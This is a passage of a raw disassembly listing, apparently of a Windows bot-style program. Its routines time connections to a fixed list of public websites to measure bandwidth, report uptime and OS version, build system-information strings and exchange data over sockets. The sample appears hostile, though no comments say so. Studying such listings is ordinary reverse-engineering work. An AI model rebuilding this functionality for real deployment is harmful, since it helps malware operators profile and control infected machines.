ecx fdiv [ebp+arg_0] fmul flt_4276EC fmul flt_4276E8 call sub_41D174 loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41ABDE: ; CODE XREF: sub_41AA1E+149j push [ebp+var_4] call dword_4CBA7C push [ebp+var_8] call sub_41BA91 push esi call sub_41BA91 pop ecx pop ecx loc_41ABF7: ; CODE XREF: sub_41AA1E+19j ; sub_41AA1E+42j ... xor eax, eax jmp short loc_41ABD9 sub_41AA1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E push 8 mov esi, eax call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E add esp, 10h test esi, esi jz short loc_41ACFC test eax, eax jz short loc_41ACF8 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j mov ebx, esi jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j mov ebx, eax loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj ; sub_41ABFB+FFj push 0Ch call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E push 0Ch mov edi, eax call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD36 test eax, eax jz short loc_41AD32 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej mov esi, edi jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj mov esi, eax loc_41AD38: ; CODE XREF: sub_41ABFB+135j ; sub_41ABFB+139j push 6 call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E push 6 mov edi, eax call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD70 test eax, eax jz short loc_41AD6C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD6C: ; CODE XREF: sub_41ABFB+168j mov ecx, edi jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD70: ; CODE XREF: sub_41ABFB+164j mov ecx, eax loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj ; sub_41ABFB+173j xor eax, eax test ebx, ebx jz short loc_41AD7F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj push 2 pop edi loc_41AD82: ; CODE XREF: sub_41ABFB+182j test esi, esi jz short loc_41AD8A add eax, esi jmp short loc_41AD8B ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: sub_41ABFB+189j dec edi loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj test ecx, ecx jz short loc_41AD93 add eax, ecx jmp short loc_41AD94 ; --------------------------------------------------------------------------- loc_41AD93: ; CODE XREF: sub_41ABFB+192j dec edi loc_41AD94: ; CODE XREF: sub_41ABFB+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A9A0 push eax call sub_41C266 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_26C] push eax call sub_415D38 add esp, 30h pop edi pop esi pop ebx leave retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp ; sub_401ACD+29CDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 2690648h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DBCA0 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C360 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41ADD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26D0544h test eax, eax jz short loc_41AED4 cmp [ebp+var_90], 4 jnz short loc_41AEAA cmp [ebp+var_8C], esi jnz short loc_41AE92 cmp [ebp+var_84], 1 jnz short loc_41AE85 push 1 pop esi loc_41AE85: ; CODE XREF: sub_41AE41+3Fj cmp [ebp+var_84], 2 jnz short loc_41AED4 push 1 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE92: ; CODE XREF: sub_41AE41+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE9F loc_41AE9B: ; CODE XREF: sub_41AE41+78j push 2 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE9F: ; CODE XREF: sub_41AE41+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AED4 jmp short loc_41AEC4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej cmp [ebp+var_90], 5 jnz short loc_41AED4 cmp [ebp+var_8C], esi jz short loc_41AE9B cmp [ebp+var_8C], 1 jnz short loc_41AEC8 loc_41AEC4: ; CODE XREF: sub_41AE41+67j push 3 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE41+81j cmp [ebp+var_8C], 2 jnz short loc_41AED4 push 7 loc_41AED3: ; CODE XREF: sub_41AE41+4Fj ; sub_41AE41+5Cj ... pop esi loc_41AED4: ; CODE XREF: sub_41AE41+25j ; sub_41AE41+4Bj ... mov eax, esi pop esi leave retn sub_41AE41 endp ; =============== S U B R O U T I N E ======================================= sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p push ebx push esi push edi mov esi, 0F4240h loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj ; sub_41AED9+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2670EEFh rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DCB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AEE1 jb short loc_41AF10 cmp ebx, esi ja short loc_41AEE1 loc_41AF10: ; CODE XREF: sub_41AED9+31j push 0 push 64h push edi push ebx call sub_41DD20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF83 jb short loc_41AF2F cmp esi, 50h jnb short loc_41AF34 loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj push 4Bh xor edx, edx pop eax loc_41AF34: ; CODE XREF: sub_41AED9+54j test ecx, ecx ja short loc_41AF83 jb short loc_41AF3F cmp esi, 47h jnb short loc_41AF44 loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj push 42h xor edx, edx pop eax loc_41AF44: ; CODE XREF: sub_41AED9+64j test ecx, ecx ja short loc_41AF83 jb short loc_41AF4F cmp esi, 37h jnb short loc_41AF54 loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj push 32h xor edx, edx pop eax loc_41AF54: ; CODE XREF: sub_41AED9+74j test ecx, ecx ja short loc_41AF83 jb short loc_41AF5F cmp esi, 26h jnb short loc_41AF64 loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj push 21h xor edx, edx pop eax loc_41AF64: ; CODE XREF: sub_41AED9+84j test ecx, ecx ja short loc_41AF83 jb short loc_41AF6F cmp esi, 1Eh jnb short loc_41AF74 loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj push 19h xor edx, edx pop eax loc_41AF74: ; CODE XREF: sub_41AED9+94j test ecx, ecx ja short loc_41AF83 jb short loc_41AF7F cmp esi, 0Ah jnb short loc_41AF83 loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj xor eax, eax xor edx, edx loc_41AF83: ; CODE XREF: sub_41AED9+4Dj ; sub_41AED9+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AED9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43DB98 mov [ebp+var_CC], 94h nop call near ptr 26D0544h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B016 cmp [ebp+var_C4], ebx jnz short loc_41AFF2 cmp [ebp+var_BC], 1 jnz short loc_41AFDC mov [ebp+var_4], offset dword_431630 loc_41AFDC: ; CODE XREF: sub_41AF8F+44j cmp [ebp+var_BC], 2 jnz loc_41B091 mov [ebp+var_4], offset dword_43162C jmp short loc_41B062 ; --------------------------------------------------------------------------- loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B004 mov [ebp+var_4], offset dword_431628 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B004: ; CODE XREF: sub_41AF8F+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B052 mov [ebp+var_4], offset dword_431624 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AF8F+33j cmp [ebp+var_C8], 5 jnz short loc_41B052 cmp [ebp+var_C4], ebx jnz short loc_41B030 mov [ebp+var_4], offset dword_431620 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B030: ; CODE XREF: sub_41AF8F+96j cmp [ebp+var_C4], 1 jnz short loc_41B042 mov [ebp+var_4], offset dword_43161C jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B042: ; CODE XREF: sub_41AF8F+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B059 loc_41B052: ; CODE XREF: sub_41AF8F+7Cj ; sub_41AF8F+8Ej mov [ebp+var_4], offset dword_431614 loc_41B059: ; CODE XREF: sub_41AF8F+73j ; sub_41AF8F+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B091 loc_41B062: ; CODE XREF: sub_41AF8F+61j cmp [ebp+var_B8], bl jz short loc_41B091 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_436BC4 push eax call sub_41C266 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B091: ; CODE XREF: sub_41AF8F+54j ; sub_41AF8F+D1j ... mov ax, word_4383BC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB8C4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B0CA lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj push [ebp+arg_4] call sub_40AA06 pop ecx push eax call dword_4CBA24 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB99C cmp eax, ebx jz short loc_41B0F3 push dword ptr [eax] jmp short loc_41B0F8 ; --------------------------------------------------------------------------- loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B0F8: ; CODE XREF: sub_41AF8F+162j lea eax, [ebp+var_3E4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2670A4Bh lea eax, [ebp+var_114] push 46h push eax push offset dword_43AC88 push ebx mov esi, 409h push ebx push esi call near ptr 2730000h nop lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 272124Ah nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 2850000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C3B1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41ADD8 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax call sub_41AED9 push edx push eax push offset dword_43ABAC push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p ; sub_401ACD+71F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BF70 add esp, 0Ch cmp dword_4CBACC, 0 jnz short loc_41B2AF push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB8A8 test eax, eax jnz short loc_41B298 lea eax, [ebp+var_8C] push offset dword_43AD00 push eax call sub_41C266 pop ecx pop ecx loc_41B298: ; CODE XREF: sub_41B243+40j test [ebp+var_C], 1 jz short loc_41B2A5 push offset dword_43ACF8 jmp short loc_41B2AA ; --------------------------------------------------------------------------- loc_41B2A5: ; CODE XREF: sub_41B243+59j push offset off_43ACF4 loc_41B2AA: ; CODE XREF: sub_41B243+60j lea eax, [ebp+var_8] jmp short loc_41B2C7 ; --------------------------------------------------------------------------- loc_41B2AF: ; CODE XREF: sub_41B243+28j mov esi, offset off_43ACF0 lea eax, [ebp+var_8] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41B2C7: ; CODE XREF: sub_41B243+6Aj push eax call sub_41C266 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43ACAC push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43ADE0 call sub_41BF70 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BF70 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BF70 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BF70 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BF70 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB8E0 test eax, eax jz loc_41B49C cmp [ebp+var_34], ebx jbe short loc_41B3D9 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BFD0 add esp, 0Ch loc_41B3D9: ; CODE XREF: sub_41B302+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B3F7 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BFD0 add esp, 0Ch loc_41B3F7: ; CODE XREF: sub_41B302+DEj cmp [ebp+var_20], ebx jbe short loc_41B411 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BFD0 add esp, 0Ch loc_41B411: ; CODE XREF: sub_41B302+F8j cmp [ebp+var_18], ebx jbe short loc_41B42B push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BFD0 add esp, 0Ch loc_41B42B: ; CODE XREF: sub_41B302+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB994 call dword_4CB9B8 mov esi, eax cmp esi, ebx jz short loc_41B4B4 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB9AC cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B4BB push ebx push ebx push ebx push ebx push eax call dword_4CB958 test eax, eax jz short loc_41B495 push offset dword_43ADC4 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B495: ; CODE XREF: sub_41B302+18Aj push offset unk_43AD88 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B49C: ; CODE XREF: sub_41B302+B7j lea eax, [ebp+var_55C] push offset dword_43AD6C push eax call sub_41C266 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4B4: ; CODE XREF: sub_41B302+153j push offset unk_43AD40 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B4BB: ; CODE XREF: sub_41B302+17Bj push offset unk_43AD10 loc_41B4C0: ; CODE XREF: sub_41B302+191j ; sub_41B302+198j ... lea eax, [ebp+var_55C] push eax call sub_41C266 pop ecx pop ecx loc_41B4CE: ; CODE XREF: sub_41B302+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B4F9 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409869 add esp, 14h loc_41B4F9: ; CODE XREF: sub_41B302+1D2j lea eax, [ebp+var_55C] push eax call sub_415D38 pop ecx push esi call dword_4CBA18 push [ebp+var_4] call dword_4CBA18 push [ebp+var_1D8] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop pop edi pop esi pop ebx sub_41B302 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4DBCDC push 0 push esi call sub_41BF70 add esp, 0Ch push [esp+4+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C360 add esp, 10h pop esi retn sub_41B52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B55B proc near ; CODE XREF: ___:0041B843p ; ___:0041B860p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DBDE4 lea edi, [ebp+var_C] mov ax, word_43ADE4 movsd movsb mov esi, offset dword_4DBDDC lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4346EC movsd mov [ebp+var_6], ax mov ax, word_4CB89C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B627 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B5AD: ; CODE XREF: sub_41B55B+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B5CD dec eax jnz short loc_41B61B push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA34 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5E1 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B55B+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA34 push esi push 1 lea eax, [ebp+var_6] loc_41B5E1: ; CODE XREF: sub_41B55B+70j push eax push edi call dword_4CBA34 push ebx call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B5FD push 4 lea eax, [ebp+var_C] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5FD: ; CODE XREF: sub_41B55B+99j push 5 lea eax, [ebp+var_14] loc_41B602: ; CODE XREF: sub_41B55B+A0j push eax push edi call dword_4CBA34 push esi push ebx call sub_41B9C0 pop ecx push eax push ebx push edi call dword_4CBA34 loc_41B61B: ; CODE XREF: sub_41B55B+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B5AD pop ebx jmp short loc_41B69D ; --------------------------------------------------------------------------- loc_41B627: ; CODE XREF: sub_41B55B+42j dec eax jz short loc_41B646 dec eax jnz short loc_41B69D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA34 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B646: ; CODE XREF: sub_41B55B+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA34 push esi push 1 lea eax, [ebp+var_6] loc_41B65D: ; CODE XREF: sub_41B55B+E9j push eax push edi call dword_4CBA34 push [ebp+arg_4] call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B67B push 4 lea eax, [ebp+var_C] jmp short loc_41B680 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B55B+117j push 5 lea eax, [ebp+var_14] loc_41B680: ; CODE XREF: sub_41B55B+11Ej push eax push edi call dword_4CBA34 push esi push [ebp+arg_4] call sub_41B9C0 pop ecx push eax push [ebp+arg_4] push edi call dword_4CBA34 loc_41B69D: ; CODE XREF: sub_41B55B+CAj ; sub_41B55B+D0j pop edi pop esi leave retn sub_41B55B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43ADFC lea edi, [ebp-38h] mov ax, word_4346EC movsd movsd movsd movsb mov esi, offset dword_43ADF8 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4DBDE4 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43ADF4 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43ADF0 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43ADEC lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4CBA64 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B724 push eax call dword_4CBA7C loc_41B724: ; CODE XREF: ___:0041B71Bj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CBA24 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CB9E4 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CB98C test eax, eax jnz loc_41B820 loc_41B75C: ; CODE XREF: ___:0041B7CEj ; ___:0041B805j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CB9FC cmp eax, esi jle loc_41B82E cmp eax, 0FFFFFFFFh jz loc_41B82E mov eax, edi sub eax, esi jz short loc_41B7D0 dec eax jz short loc_41B79E dec eax jz short loc_41B80A jmp short loc_41B800 ; --------------------------------------------------------------------------- loc_41B79E: ; CODE XREF: ___:0041B797j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-6] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4CBA34 push 2 pop edi jmp short loc_41B75C ; --------------------------------------------------------------------------- loc_41B7D0: ; CODE XREF: ___:0041B794j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-38h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CBA34 push 1 pop edi loc_41B800: ; CODE XREF: ___:0041B79Cj cmp edi, 3 jz short loc_41B82E jmp loc_41B75C ; 